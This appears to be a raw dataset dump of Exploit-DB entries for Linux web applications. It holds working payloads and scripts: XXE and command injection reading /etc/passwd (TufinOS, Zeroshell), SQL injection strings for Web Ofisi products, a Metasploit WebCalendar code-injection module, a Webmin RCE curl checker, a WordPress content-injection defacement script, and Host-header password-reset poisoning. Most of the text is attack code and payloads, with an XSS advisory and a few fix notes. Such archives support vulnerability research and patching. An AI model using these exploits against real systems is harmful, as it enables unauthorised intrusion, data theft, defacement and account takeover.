deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45808
Description: TufinOS 2.17 Build 1193 - XML External Entity Injection
Type: webapps
Platform: linux
Date: 2018-11-12
Author: Konstantinos Alexiou

Exploit:
# Exploit Title: TufinOS 2.17 Build 1193 - XML External Entity Injection
# Exploit Author: konstantinos Alexiou
# Date: 2018-10-18
# Vendor: https://www.tufin.com
# Software Link: https://www.tufin.com/tufin-orchestration-suite/securetrack
# CVE: N/A
# Category: webapps

# 1. Description
# The SecureTrack application is vulnerable to XML External Entity injection. 
# This attack is considered quite serious and can be used to:
# (1) Retrieve confidential data
# (2) Perform denial of service
# (3) Execute server side request forgery attacks
# (4) Perform port scanning through the machine on other systems 

# The issue was identified inside the "Audit" > "Best Practices" module of the "SecureTrack" 
# application when creating a new Best Practices query and manipulating the "xml" parameter 
# in the request. When the vulnerability is triggered it doesn't directly return anything 
# to the attacker but rather the contents of the requested file are written inside 
# the name field of a best practices. This vulnerability affects every "SecureTrack" 
# application authentication user role.
   
# 2. Proof of Concept
# Step 1: Login to the "SecureTrack" application using any user and then navigate to 
# "Audit" > "Best Practices". 
# Step 2: Create and submit a "New Query" while intercepting the traffic:
# Step 3: Send the request to repeater and change it to include the following 
# payload after the "xml=" input field:
-->

<!DOCTYPE foo [<!ENTITY AAAA SYSTEM "file:///etc/passwd"> ]>

<!--

# The payload should be URL encoded before delivered to the application

# Step 4: Submit the request to the server.

# Step 5: Refresh your browser to view the new Best Practice that was created. The following image 
# displays that the request was successfully processed by the server and a new Best Practice was 
# created. The contents of the requested file "/etc/passwd" is saved as the name of the "Best Practice query". 

# 3. Solution:
# Reconfigure the XML processor to use a local static DTD and disallow any declared DTD included in 
# the XML document. Another solution is to explicitly disable External XML Entities in the parser of 
# the application.
Exploit-DB #47139
Description: Web Ofisi E-Ticaret 3 - 'a' SQL Injection
Type: webapps
Platform: linux
Date: 2019-07-19
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Web Ofisi E-Ticaret 3 - 'a' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/e-ticaret-v3-sanal-pos.html
# Demo Site: http://demobul.net/eticaretv3/
# Version: v3
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----

Request: http://localhost/[PATH]/ara.html?a=
Vulnerable Parameter: a (GET)
Payload: e%' AND 3*2*1=6 AND '0002ZIf'!='0002ZIf%
Exploit-DB #47141
Description: Web Ofisi Emlak 2 - 'ara' SQL Injection
Type: webapps
Platform: linux
Date: 2019-07-19
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Web Ofisi Emlak 2 - 'ara' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/emlak-scripti-v2.html
# Demo Site: http://demobul.net/emlakv2/
# Version: v2
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----

Request: http://localhost/[PATH]/ara.html?ara=
Vulnerable Parameter: ara (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z
Exploit-DB #47142
Description: Web Ofisi Emlak 3 - 'emlak_durumu' SQL Injection
Type: webapps
Platform: linux
Date: 2019-07-19
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Web Ofisi Emlak 3 - 'emlak_durumu' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/emlak-scripti-v3.html
# Demo Site: http://demobul.net/emlakv3/
# Version: V2
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: emlak_durumu (GET)
Payload: -1' OR 3*2*1=6 AND 000744=000744 --

----- PoC 2: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: emlak_tipi (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z

----- PoC 3: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: il (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z

----- PoC 4: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: ilce (GET)
Payload: -1' OR 3*2*1=6 AND 000397=000397 --

----- PoC 5: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: kelime (GET)
Payload: -1' OR 3*2*1=6 AND 000397=000397 --

----- PoC 6: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: semt (GET)
Payload: -1' OR 3*2*1=6 AND 000531=000531 --
Exploit-DB #47145
Description: Web Ofisi Firma 13 - 'oz' SQL Injection
Type: webapps
Platform: linux
Date: 2019-07-19
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Web Ofisi Firma 13 - 'oz' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/kurumsal-firma-v13-sinirsiz-dil.html
# Demo Site: http://demobul.net/firmav13/
# Version: v13
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----
Request: http://localhost/[PATH]/kategori/ikinci-el-klima.html?oz[]=1_1
Vulnerable Parameters: oz[] (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z
Exploit-DB #47143
Description: Web Ofisi Firma Rehberi 1 - 'il' SQL Injection
Type: webapps
Platform: linux
Date: 2019-07-19
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Web Ofisi Firma Rehberi 1 - 'il' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/firma-rehberi-scripti-v1.html
# Demo Site: http://demobul.net/firma-rehberi-v1/
# Version: v1
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----

Request:
http://localhost/[PATH]/firmalar.html?il=0&kat=&kelime=&siralama=yeni
Vulnerable Parameters: il,kelime,kat (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z
Exploit-DB #47140
Description: Web Ofisi Platinum E-Ticaret 5 - 'q' SQL Injection
Type: webapps
Platform: linux
Date: 2019-07-19
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Web Ofisi Platinum E-Ticaret 5 - 'q' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/platinum-e-ticaret-v5.html
# Demo Site: http://demobul.net/eticaretv5/
# Version: v5
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/arama?kategori=&q=
Vulnerable Parameter: q (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/ajax/productsFilterSearch
Vulnerable Parameter: q (POST)
Payload:
kategori=&pageType=arama&q=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z&sayfa=1
Exploit-DB #47144
Description: Web Ofisi Rent a Car 3 - 'klima' SQL Injection
Type: webapps
Platform: linux
Date: 2019-07-19
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Web Ofisi Rent a Car 3 - 'klima' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/rent-a-car-v3.html
# Demo Site: http://demobul.net/rentacarv3/
# Version: v3
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request:
http://localhost/[PATH]/arac-listesi.html?kategori[]=0&klima[]=1&vites[]=1&yakit[]=1
Vulnerable Parameter: kategori[] (GET)
Payload: if(now()=sysdate(),sleep(0),0)

----- PoC 2: SQLi -----

Request:
http://localhost/[PATH]/arac-listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1
Vulnerable Parameter: klima[] (GET)
Payload: 1 AND 3*2*1=6 AND 695=695

----- PoC 3: SQLi -----

Request:
http://localhost/[PATH]/arac-listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1
Vulnerable Parameter: vites[] (GET)
Payload: 1 AND 3*2*1=6 AND 499=499

----- PoC 4: SQLi -----

Request:
http://localhost/[PATH]/arac-listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1
Vulnerable Parameter: vites[] (GET)
Payload: 1 AND 3*2*1=6 AND 499=499

----- PoC 5: SQLi -----

Request:
http://localhost/[PATH]/arac-listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1
Vulnerable Parameter: yakit[] (GET)
Payload: 1 AND 3*2*1=6 AND 602=602
Exploit-DB #18797
Description: WebCalendar 1.2.4 - Remote Code Injection (Metasploit)
Type: webapps
Platform: linux
Date: 2012-04-29
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "WebCalendar 1.2.4 Pre-Auth Remote Code Injection",
			'Description'    => %q{
					This modules exploits a vulnerability found in WebCalendar, version 1.2.4 or
				less.  If not removed, the settings.php script meant for installation can be
				update by an attacker, and then inject code in it.  This allows arbitrary code
				execution as www-data.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'EgiX',   #Initial discovery & PoC
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					['CVE', '2012-1495'],
					['URL', '18775']
				],
			'Arch'           => ARCH_CMD,
			'Platform'       => ['unix', 'linux'],
			'Compat'         =>
				{
					'PayloadType' => 'cmd'
				},
			'Targets'        =>
				[
					['WebCalendar 1.2.4 on Linux', {}],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 23 2012",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('TARGETURI', [true, 'The URI path to webcalendar', '/WebCalendar-1.2.4/'])
				], self.class)
	end

	def check
		uri = target_uri.path
		uri << '/' if uri[-1, 1] != '/'

		res = send_request_raw({
			'method' => 'GET',
			'uri'    => "#{uri}/login.php"
		})

		if res and res.body =~ /WebCalendar v1.2.\d/
			return Exploit::CheckCode::Vulnerable
		else
			return Exploit::CheckCode::Safe
		end
	end


	def exploit
		peer = "#{rhost}:#{rport}"

		uri = target_uri.path
		uri << '/' if uri[-1, 1] != '/'

		print_status("#{peer} - Housing php payload...")

		# Allow commands to be passed as a header.
		# We use 'data' instead of 'vars_post to avoid the MSF API escapeing our stuff.
		post_data  = "app_settings=1"
		post_data << "&form_user_inc=user.php"
		post_data << "&form_single_user_login=*/print(____);passthru(base64_decode($_SERVER[HTTP_CMD]));die;"
		post_data << "\n"*2
		send_request_cgi({
			'method'    => 'POST',
			'uri'       => "#{uri}install/index.php",
			'data'      => post_data
		})

		print_status("#{peer} - Loading our payload...")

		# Execute our payload
		send_request_raw({
			'method' => 'GET',
			'uri'    => "#{uri}includes/settings.php",
			'headers' => {
				'Cmd' => Rex::Text.encode_base64(payload.encoded)
			}
		})

		handler
	end
end
Exploit-DB #47293
Description: Webmin 1.920 - Remote Code Execution
Type: webapps
Platform: linux
Date: 2019-08-19
Author: Fernando A. Lagos B

Exploit:
#!/bin/sh
#
# CVE-2019-15107 Webmin Unauhenticated Remote Command Execution
# based on Metasploit module https://www.exploit-db.com/exploits/47230
# Original advisory: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
# Alternative advisory (spanish): https://blog.nivel4.com/noticias/vulnerabilidad-de-ejecucion-de-comandos-remotos-en-webmin
#
# Fernando A. Lagos B. (Zerial)
# https://blog.zerial.org
# https://blog.nivel4.com
#
# The script sends a flag by a echo command then grep it. If match, target is vulnerable.
#
# Usage: sh CVE-2019-15107.sh https://target:port
# Example: sh CVE-2019-15107.sh https://localhost:10000
# output: Testing for RCE (CVE-2019-15107) on https://localhost:10000: VULNERABLE!
#

FLAG="f3a0c13c3765137bcde68572707ae5c0"
URI=$1;

echo -n "Testing for RCE (CVE-2019-15107) on $URI: ";
curl -ks $URI'/password_change.cgi' -d 'user=wheel&pam=&expired=2&old=id|echo '$FLAG'&new1=wheel&new2=wheel' -H 'Cookie: redirect=1; testing=1; sid=x; sessiontest=1;' -H "Content-Type: application/x-www-form-urlencoded" -H 'Referer: '$URI'/session_login.cgi'|grep $FLAG>/dev/null 2>&1

if [ $? -eq 0 ];
then
	echo '\033[0;31mVULNERABLE!\033[0m'
else
	echo '\033[0;32mOK! (target is not vulnerable)\033[0m'
fi
#EOF
Exploit-DB #41224
Description: WordPress Core 4.7.0/4.7.1 - Content Injection (Ruby)
Type: webapps
Platform: linux
Date: 2017-02-02
Author: Harsh Jaiswal

Exploit:
# Exploit Title: WP Content Injection
# Date: 31 Jan' 2017
# Exploit Author: Harsh Jaiswal
# Vendor Homepage: http://wordpress.org
# Version: Wordpress 4.7 - 4.7.1 (Patched in 4.7.2)
# Tested on: Backbox ubuntu Linux
# Based on https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
# Credits : Marc, Sucuri, Brute
# usage : gem install rest-client 
# Lang : Ruby


require 'rest-client'
require 'json'
puts "Enter Target URI (With wp directory)"
targeturi = gets.chomp
puts "Enter Post ID"
postid = gets.chomp.to_i
response = RestClient.post(
  "#{targeturi}/index.php/wp-json/wp/v2/posts/#{postid}",
  {

    "id" => "#{postid}justrawdata",
    "title" => "You have been hacked",
    "content" => "Hacked please update your wordpress version"


  }.to_json,
  :content_type => :json,
  :accept => :json
) {|response, request, result| response }
if(response.code == 200)

puts "Done! '#{targeturi}/index.php?p=#{postid}'"


else
puts "This site is not Vulnerable"
end
Exploit-DB #41963
Description: WordPress Core < 4.7.4 - Unauthorized Password Reset
Type: webapps
Platform: linux
Date: 2017-05-03
Author: Dawid Golunski

Exploit:
=============================================
- Discovered by: Dawid Golunski
- dawid[at]legalhackers.com
- https://legalhackers.com

- CVE-2017-8295
- Release date: 03.05.2017
- Revision 1.0
- Severity: Medium/High
=============================================

Source: https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html

If an attacker sends a request similar to the one below to a default Wordpress
installation that is accessible by the IP address (IP-based vhost):

-----[ HTTP Request ]----

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

------------------------


Wordpress will trigger the password reset function for the admin user account.

Because of the modified HOST header, the SERVER_NAME will be set to
the hostname of attacker's choice.
As a result, Wordpress will pass the following headers and email body to the
/usr/bin/sendmail wrapper:


------[ resulting e-mail ]-----

Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Someone requested that the password be reset for the following account:

http://companyX-wp/wp/wordpress/

Username: admin

If this was a mistake, just ignore this email and nothing will happen.

To reset your password, visit the following address:

<http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>

-------------------------------


As we can see, fields Return-Path, From, and Message-ID, all have the attacker's
domain set.


The verification of the headers can be performed by replacing /usr/sbin/sendmail with a 
bash script of:

#!/bin/bash
cat > /tmp/outgoing-email
Exploit-DB #14177
Description: Xplico 0.5.7 - 'add.ctp' Cross-Site Scripting (1)
Type: webapps
Platform: linux
Date: 2010-07-02
Author: Marcos Garcia & Maximiliano Soler

Exploit:
Xplico v0.5.7 (add.ctp) Remote XSS Vulnerability

Title: Xplico v0.5.7 (add.ctp) Remote XSS Vulnerability
Type: Remote
Impact: Cross-Site Scripting
Release Date: 02.07.2010
Release mode: Coordinated release

Summary
=======

The goal of Xplico is extract from an internet traffic capture the applications
data contained. For example, from a pcap file Xplico extracts each email (POP, IMAP,
and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on.
Xplico isn’t a network protocol analyzer. Xplico is an open source Network Forensic
Analysis Tool (NFAT).

Description
===========

Xplico is vulnerable to Cross-Site Scripting vulnerability. An attacker can use the
"POST" to take advantage of this vulnerability, injecting code into the web pages
viewed by other users.

--------------------------------------------------------------------------------

Detecting vulnerabilities
- /opt/xplico/xi/app/views/pols/add.ctp:13
- /opt/xplico/xi/app/views/pols/add.ctp:14
- /opt/xplico/xi/app/views/sols/add.ctp:10

--------------------------------------------------------------------------------


Vendor
======

Xplico Team - http://www.xplico.org


Affected Version
================

0.5.7

PoC
===

- /opt/xplico/xi/app/views/pols/add.ctp:13
echo $form->input('Pol.name',  array('maxlength'=> 50, 'size' => '50','label' => 'Case name'));


Attack: Case name=[XSS] (POST)


Credits
=======

Vulnerability discovered by Marcos Garcia (@artsweb) and Maximiliano Soler (@maxisoler).


Solution
========

Upgrade to Xplico v0.5.8 (http://sourceforge.net/projects/xplico/files/)


Vendor Status
=============
[22.06.2010] Vulnerability discovered.
[22.06.2010] Vendor informed.
[22.06.2010] Vendor replied.
[24.06.2010] Asked vendor for confirmation.
[24.06.2010] Vendor confirms vulnerability.
[24.06.2010] Asked vendor for status.
[24.06.2010] Vendor replied.
[29.06.2010] Vendor reveals patch release date.
[29.06.2010] Coordinated public advisory.


References
==========

[1] http://www.xplico.org/archives/710


Changelog
=========

[02.07.2010] - Initial release


Web: http://www.zeroscience.mk
e-mail: lab@zeroscience.mk
Exploit-DB #41040
Description: Zeroshell 3.6.0/3.7.0 Net Services - Remote Code Execution
Type: webapps
Platform: linux
Date: 2017-01-13
Author: Ozer Goker

Exploit:
####################################################################################################################################
# Exploit Title: Zeroshell - Net Services  Unauthenticated Remote Code Execution | RCE
# Date: 13.01.2017
# Exploit Author: Ozer Goker
# Vendor Homepage: http://www.zeroshell.org
# Software Link: www.zeroshell.org/download/
# Version: 3.6.0 & 3.7.0
####################################################################################################################################

Introduction

Zeroshell is a small Linux distribution for servers and embedded devices with the aim to provide network services. It is available in the form of live CD or compact Flash image and it can be configured using a web browser. The main features of Zeroshell include: load balancing and failover of multiple Internet connections, UMTS/HSDPA connections by using 3G modems, RADIUS server for providing secure authentication and automatic management of encryption keys to wireless networks, captive portal to support web login, and many others.


Vulnerabilities: Unauthenticated Remote Code Execution | RCE


RCE details:

####################################################################################################################################

RCE 1

URL
http://192.168.0.75/cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%26cat%20/etc/passwd%26%27&PW=

METHOD
Get,Post

PARAMETER
User

PAYLOAD
%27%26cat%20/etc/passwd%26%27


####################################################################################################################################

RCE 2

URL
http://192.168.0.75/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%26cat%20/etc/passwd%26%27

METHOD
Get

PARAMETER
x509type

PAYLOAD
%27%26cat%20/etc/passwd%26%27


####################################################################################################################################

RCE 3

URL
http://192.168.0.75/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=%22%26cat%20/etc/passwd%26%22

METHOD
Get

PARAMETER
type

PAYLOAD
%22%26cat%20/etc/passwd%26%22


####################################################################################################################################